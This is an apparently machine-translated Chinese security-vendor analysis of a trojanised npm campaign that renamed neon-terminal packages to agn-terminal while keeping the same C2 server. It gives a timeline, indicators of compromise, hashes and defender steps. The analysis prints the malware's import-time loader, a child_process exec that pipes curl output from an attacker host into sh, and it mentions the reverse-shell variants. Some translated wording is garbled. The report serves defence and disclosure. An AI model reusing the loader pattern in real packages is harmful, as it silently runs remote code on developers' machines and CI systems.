GhostTracker:npm 木马在 74 分钟内完成品牌重塑——相同的 C2

GhostTracker:一个 npm 木马程序,在被查封后数小时内就重新命名,并且保留了相同的 C2 服务器。

TL博士

单个 npm 操作符已发布 五个被植入木马的包裹 攻击分两轮进行,历时三天。这些软件包伪装成小型终端着色器、日志记录器和 Postgres 客户端实用程序。恶意代码运行 包裹导入的那一刻 — 没有安装脚本需要捕获。

第一轮(neon-terminal, neon-postgres, ne-logger) 于 2026 年 07 月 05 日 14:14 UTC 未发布。 七十四分钟后 同一个账户以新名称重新发布了同一个木马程序(agn-terminal, agn-logger)——并把它指向 相同的命令与控制端点 它以前用过: tracker.bvgroup.co.

C2 主机是唯一在重命名后仍然存在的指标,也是防御者最快能够找到的目标。严重性: 生态系统: NPM截至发稿时,第二轮优惠活动仍在进行中。

攻击原理

这些软件包是功能性诱饵。打开 agn-末端 你会发现一个完整、可用的 ANSI 颜色助手—— 代码, 支持颜色, 着色, 涂料 — 包含类型定义和 README 文件。实用代码运行正常。在入口模块的顶部,实用代码的上方,有几行在导入时运行的代码。

// agn-terminal 0.1.0 — src/index.js (top of module) import { exec } from "node:child_process";  const child = exec(   "curl -fsSL https://remote.agyn.org/remote.sh | " +   "TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",   {}, (error, stdout, stderr) => {}, ); 

三个因素使其有效。

  • 它在导入时触发,而不是在安装时触发。 包裹上声明没有 预安装 or 安装后 钩子——扫描员和审阅者通常会查看的地方。 EXEC 调用是模块级代码。它会在任何操作首次执行时运行。 require(“agn-terminal”) or 导入“agn-terminal”无论是在开发者的机器上还是在 CI 内部。ESM 条目(src / index.js)和 CommonJS 条目(cjs/src/index.js)携带相同的有效载荷,因此两个模块系统都得到了覆盖。
  • 真正的有效载荷位于包装之外。 该软件包仅包含一行设置语句:fetch remote.agyn.org/remote.sh` 并将其通过管道传递给 sh`。操作员在请求时通过该 URL 提供的任何内容都会运行。C2 端点通过以下方式传递给下载的脚本: 远程端点跟踪器 环境变量,因此第二阶段脚本会向服务器发送电话。 tracker.bvgroup.co.
  • 载具包会扩大爆炸半径。 农业日志记录器 这是第二个诱饵——一个“微型全局日志记录器”。它本身没有有效载荷。它的入口模块只做一件事:
// agn-logger 0.1.0 — cjs/src/index.js const { colorize, supportsColor } = require('agn-terminal'); 

它宣称 agn-末端 作为依赖项并导入它。安装或导入日志记录器会间接地引入并触发终端包。即使项目从未直接指定木马程序,仍然可以通过日志记录器执行它。

这里有什么新内容

第一轮攻击未使用远程部署器。它将有效载荷直接内联发布,并逐版本升级——在一个版本中引入 bash 反向 shell,在一个版本中引入 bash 反向 shell。 net.Socket 接下来是反向外壳,一个 git add/commit/推 受害者的工作目录在另一个位置,最后是一个完整的 HTTP 命令与控制代理。 霓虹终端 0.9.0 版本注册了主机,轮询了任务,并运行了这些任务。 exec()并将经过 base64 编码的输出以流式传输的方式返回。第二轮将所有这些合并成一个单一的输出。 curl | sh将第二阶段完全从注册表中移除。相同的运营商,更安静的封装,更灵活的有效载荷——而且,至关重要的是,指挥控制系统与之前相同。

时间线

日期(UTC) 创建
2026-07-03 07:03 第一轮结果已公布: neon-terminal (0.1.0 版本干净,然后 0.2.0–0.9.0 版本恶意), neon-postgres 3.5.2, ne-logger 0.7.0
2026-07-03 07:05 neon-terminal 实时扫描中标记
2026-07-04 已确认恶意程序;关联分析显示两个同源软件包存在关联;已提交首次下架申请。
2026-07-05 14:14 第一轮未公布——全部八轮 neon-terminal 版本加上兄弟姐妹已移除
2026-07-05 15:28 agn-terminal 0.1.0 出版
2026-07-05 15:29 agn-logger 0.1.0 发布——新型终端包装的承运商
2026年07月05日(进行中) 截至发稿时,第二轮套餐已上线。

两轮投票间隔三天,移除和重新上线之间的时间间隔为74分钟。活动仍在进行中: agn-* 撰写本文时,包裹尚未被移除。

妥协指标

搜索锁定文件和依赖关系树中的软件包名称。搜索代理、DNS 和 EDR 网络端点的日志。C2 主机 tracker.bvgroup.co 涵盖两轮比赛,是价值最高的单一指标。

小包装 选项 职位 状态
neon-terminal 0.2.0–0.9.0 木马(内联有效载荷 → HTTP C2) 未发表
neon-postgres 3.5.2 特洛伊木马(有效载荷) src/errors.js) 未发表
ne-logger 0.7.0 运营商(取决于) neon-terminal) 未发表
agn-terminal 0.1.0 特洛伊木马(curl | sh 舞台) 生活
agn-logger 0.1.0 运营商(取决于) agn-terminal) 生活

霓虹终端 0.1.0 是一个干净的种子版本——一个没有有效载荷的可用颜色库——发布的目的是为了在恶意版本出现之前建立软件包。

网络

指示符 语境
tracker.bvgroup.co/remote/… HTTP C2,两轮(第二轮令牌) t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J)
remote.agyn.org/remote.sh 第二轮第一阶段装载机
reverse.bvgroup.co:443 第一轮反向 shell 端点(neon-terminal 0.6.0)
6.tcp.eu.ngrok.io:28754 第一轮反向壳(neon-terminal 0.3.0)
2.tcp.eu.ngrok.io:25852 第一轮反向壳(neon-terminal 0.4.0)
bvgroup.co, agyn.org, agyn.io 操作员控制域

行为

  • 模块级 child_process.exec 在实用程序包入口文件的顶部,在两者中 src / index.js (ESM)和 cjs/src/index.js (CJS)。
  • A curl -fsSL … | sh 单行命令,C2 通过 a 传递 远程端点跟踪器 环境变量。
  • 第二个“实用程序”包将第一个包声明为依赖项并导入它,但它本身没有任何有效负载。
  • 剩余物 // 霓虹终端 在顶部的评论 agn-末端 — 一个复制粘贴的痕迹,将重新命名的品牌与原来的品牌联系起来。

文件哈希值(SHA-256,第二轮)

  • agn-末端 src / index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
  • agn-末端 cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
  • 农业日志记录器 src / index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19

归因和观察到的行为

每个软件包都对应一个 npm 账户, 维他命使用未经核实的电子邮件地址发布 vitalii@agyn.io该账户自身的注册表元数据列出了所有三个第一轮软件包,均由该账户维护。基础架构将各轮软件包连接起来:域名 agyn.org 与出版商的一致 agyn.io 电子邮件域名和 C2 主机 tracker.bvgroup.co 出现在两者中 霓虹终端 0.9.0和 agn-末端 0.1.0 — 相同的收集器路径,重命名后原封不动地重复使用。

我们仅描述这些文物所展现的内容,然后就此打住。出版商提供的电子邮件地址是: vitalii@agyn.io我们尚未核实该地址的所有权,也未将该账户归属于任何指定的个人或团体。在两个软件包系列中重复使用同一个 C2 端点,这强烈表明是同一运营商所为,但并不能确定其身份。

第一轮的包装设计侧重于品牌邻近性。 neon-postgres 是 Porsager 广泛使用的软件的完整克隆版 postgres.js 客户、标语以及所有信息,有效载荷都隐藏其中 src/errors.js 因此,常规导入路径会到达那里——并且 氖- 前缀借用了无服务器 Postgres 提供商 Neon 的知名度。第二轮命名放弃了模仿,采用了通用名称(agn-末端, 农业日志记录器),用品牌影响力换取与那些被过度使用的名字彻底决裂。

 影响、趋势和防御者指南

  • 谁会被曝光? 任何在类 Unix 主机上直接或通过运营商安装并导入这些软件包之一的人。暂存器使用 卷曲sh;第一轮炮弹使用 打坏/dev/tcp由于执行发生在导入时,因此只需一个构建服务器安装依赖项并运行所有涉及该依赖项的代码即可——无需安装后步骤。在开发人员工作站或 CI 运行器上,下载的第二阶段将以用户的权限和完整的网络访问权限运行。
  • 为什么导入时执行很重要。 供应链防御措施主要集中在安装脚本上,这不无道理——postinstall 是 npm 的经典攻击立足点。但这次攻击完全绕过了这一点。没有安装钩子需要标记。 恶意代码 这是普通的模块初始化,乍一看与包在加载时计算查找表并无区别。仅检查 package.json 中脚本的工具无法发现任何异常。
  • 品牌重塑和再利用的趋势。 74分钟的快速恢复才是关键所在。下架行动移除了域名,但并未移除运营商、基础设施或代码。不到一小时,该攻击活动就以新的域名再次上线,指向同一个C2服务器。基于域名的封锁——例如将neon-terminal列入黑名单——早已失效。而基于基础设施的封锁——例如将bvgroup.co列入黑名单——则能在第二轮攻击开始时就将其拦截。对于一个重新发布速度远超注册管理机构移除速度的活跃运营商而言,真正持久有效的指标是网络端点,而非软件包名称。

现在做什么

  • 使用 grep 命令搜索 lockfiles 和已安装目录,查找上述五个软件包名称。将任何匹配项视为已入侵主机,并轮换可从该主机访问的凭据。
  • 屏蔽并警告这些域名 bvgroup.co, agyn.org以及 DNS 和出口过滤中的 ngrok 端点。 tracker.bvgroup.co 这是首要任务。
  • 不要仅仅依赖安装钩子扫描。添加模块级检测。 子进程 以及依赖项中的网络调用,以及用于 curl … | sh 软件包源代码中的模式。
  • 如果一个实用程序包声明另一个晦涩的实用程序是其唯一依赖项,并在加载时导入它,那么这个实用程序包值得仔细检查。
  • 在CI中,优先选择 –忽略脚本 在实际可行的情况下,但要明白这在这里没有帮助——有效载荷在导入时运行,因此运行时出口控制和依赖项审查更为重要。

案例

sca-tools-软件-成分分析工具
确定软件风险的优先级、进行补救并加以保护
注册免费账号。
不需要信用卡。

保护您的软件开发和交付

使用 Xygeni 产品套件